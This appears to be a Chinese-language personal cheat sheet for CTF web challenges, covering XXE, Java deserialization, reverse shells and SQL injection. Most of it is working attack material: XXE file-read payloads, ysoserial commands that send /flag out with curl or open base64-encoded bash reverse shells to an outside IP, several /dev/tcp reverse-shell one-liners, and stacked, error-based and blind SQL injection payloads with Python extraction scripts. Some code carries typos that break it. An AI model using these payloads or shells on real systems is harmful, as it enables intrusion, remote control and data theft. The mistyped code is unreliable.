网络安全

XXE

XXE(XML External Entity attack)XML外部实体注入攻击

<?xml version='1.0'?> 
<!DOCTYPE x [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
 <root>
 <username>
 admin//或者&xxe;
 </username>
 <password>123</password>
 </root>

&xxe;会输出文件中的内容

在上传xml文件时,utf8不行可以用utf16

iconv -f utf8 -t utf-16 1.xml>2.xml

svg中的xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

svg中也可以写js,xss

反序列化

分析序列化后的字符串

例子

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段Java序列化的16进制。

java Deserialization Scanner #

这个工具在burp插件里面有,去下载一下,记得初始化插件

选中发送到插件里(选中右键->拓展->Deserialization->Send request to DS Manual testing)

在Manual Tetsing中用§包裹住字串,不要包裹Brerer

下面选择Encode useing Base64,add添加,再选择Encode useing Base64,Attack

等待一会,会有提示需要1-3minutes

image-20221229181834551

ROME

之后用ysoserial 里的MORE

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:10189 -d @/flag" > a.bin

base64编码

import base64
with open('a.bin','rb')as f:
	b=f.read()
print(base64.b64encdoe(b))

放到会执行反序列化的地方取请求,触发命令执行

也可以直接shell

bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}" > a.bin

同上base64编码,记得在前面带上Beaere

...

反弹shell

正向链接 #

攻击者连接目标机器,如远程桌面,web服务,ssh等

反向连接 #

相当于角色反转,让目标机器来找我们,为什么要这样做呢

常见于命令不回显,受限于防火墙等

反弹shell,让目标机器来找我们,就得要有一个公网ip

我们用ngrok.cc送的,可以免费用一个公网端口

./sunny clientid 204616381952


free.idcfengye.com:10189

本地映射1234d端口,监听

nc -lvp 1234

常见的方式 #

bash -i >& /dev/tcp/ip/port 0>&1

or

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"#更稳定

or

echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash

or

bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
#对上面进行base64编码=>YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}

解释

命令 详解
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。这样在被攻击机上就不会显示执行的命令
/dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容
curl http://vps:7015 -d @/flag

-d参数时post

@后面时这个文件

...

堆叠注入

堆叠注入

用分号可以 执行多条语句

查看所有数据库

-1';show databases

查看当前数据库下所有表名

-1';use 数据库名;show tables

查看表名下所有字段

-1';use 数据库名;show columns from 表名

flag,用预编译的方法

-1';use 数据库名;set @sql=concat('select `fl','ag` fr/**/om Fl','ag');PRE/**/PARE st/**/mt1 FR/**/OM @sql;EX/**/ECUTE stmt1;#

select被过滤,用HANDLER语句,语法

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,) [ WHERE where_condition ] [LIMIT  ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT  ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT  ]
HANDLER tbl_name CLOSE
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  

‘select ``fl’,‘ag , from Fl’,‘ag’

...

字符型注入

字符型注入

单引号测试,闭合语句

id=1'
id='")

报错,查询字段

id=1' and 1=2 union select 1,2,3%23

其他和整型注入一样,不多做解释

$rows[0]==$password
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

0x char chr等价

常见端口

常见端口

21
22
23
3389
5900
5632
69
139
389
2094
53
6768
80
443
25
110
143
161
1433
1521
3306
5000
5432
6379
9200
270117
22122
81
8080
9080
9081
9090
3700
4848
83
84
85
86
87
88
161
389
445
512
513
514
873
1025
1433
1521
2082
2083
2222
2601
2604
3128
3306
3312
3311
3389
4440
4848
5984
6082
6379
7001
7002
7778
8083
8649
8888
9000
9200
9300
10000
11211
27017
27018
28017
50000
50070
50060
50030

报错注入

报错注入

updatexml(1,欲查询代码,1)

参数一:String,为XML对象

参数二:XML语句

参数三:查找到后欲替换的数据

extractvalue(1,欲查询代码)

参数一:String,为XML文档对象

参数二:XML语句

错误的xml语句会抛出错误,可以看到我们的查询语句

or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'2')#

适当修改查询语句即可

报错语句过长,显示不全

select mid(flag,1,16) from flag
select mid(flag,17,16) from flag

多条数据用limit

select flag from flag limit 0,1
select flag from flag limit 0,2

group_concat不能同时配合limit使用

整型注入

整形注入

测试

id=1 and 1=1

查询字段数,小于等于不报错,大于报错

id=1 order by 3

确定字段数后,数据库名

id=1111 union select 1,2,database()

表名

id=1111 union select 1,2,group_concat(table_name) form information_schema.tables where table_schema=database()%23

字段

id=1111 union select 1,2,group_concat(column_name) form information_schema.columns where and table_schema=database() table_name='users'%23

查值

id=1111 union select 1,2,username form users%23

查其他数据库

id=1111 union select 1,2,group_concat(schema_name) form information_schema.schemata%23

时间注入

时间盲注

不会抛出错误语句,怎们都是返回一样的

jb不知道什么问题python发包时用parse不行,要直接拼在url上

import requests,time
name = ''
for i in range(1,10):
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        # 爆出数据库名
        url="http://127.0.0.1/Less-9/?id=1' and if(ascii(substr((select database()),{0},1))>{1},sleep(1),0)--+".format(i,mid)
        start_time = time.time()    #   注入前的系统时间
        r = requests.get(url)
        end_time = time.time()      #   注入后的时间
        if end_time - start_time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid <= 32 or mid >= 128:
        break
    name = name + chr(mid)  
    print (name)

盲注

盲注就是回显只有对或者错的情况(如0,1)

1' or '1'='1' group by passwd with rollup having passwd is NULL — –

测试极客大挑战finalsql

import requests
import time
g=0
host = "http://e7adeb0b-7190-4ea3-bd06-49e63e17e775.node4.buuoj.cn:81/backend/content_detail.php"
parse={'id':''}
def getDatabase():  #获取数据库名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            time.sleep(0.1)
            # 1^(ascii(substr((select(database())),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining')),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='ctftraining'(and)schema_name='ctftraining')),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(Flag))from(ctftraining.Flag)),%d,1))<%d)^1
            parse['id']="1^(ascii(substr((select(group_concat(Flag))from(ctftraining.Flag)),%d,1))<%d)^1" % (i,mid)
            res = requests.get(host,params=parse)
            if res.status_code!=200:
                print('!200')
                continue
            # print(res.text)
            if "title" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >=127:
            break
        if(mid-1==33):
            g+=1
            if(g>=5):
                break
        else:
            g=0
        ans += chr(mid-1)
        print("database is -> "+ans)
getDatabase()
# news
# admin,contents
import requests
import time
url = "http://2adc3617-76d6-4705-84e4-1c0e3f21baa2.node4.buuoj.cn:81/search.php"
payload = {
    "id" : ""
}
result = ""
g=0
for i in range(1,1000):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        payload["id"] = "0^" + "(ascii(substr((select(group_concat(password))from(F1naI1y)),{0},1))>{1})".format(i,mid)
        html = requests.post(url,params=payload)
        print(payload)
        if(html.code!=200):
            time.sleep(0.2)
            print('错误,以延迟0.2秒',html.code)
            continue
        # 正常的回显内容
        if "others" in html.text:
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    #出现连续的感叹号,就停
    if(mid==33):
        g+=1
        if(g>=5):
            break
    else:
        g=0
    print(result)
print("tables: " ,result)

有一道题的java后端代码

...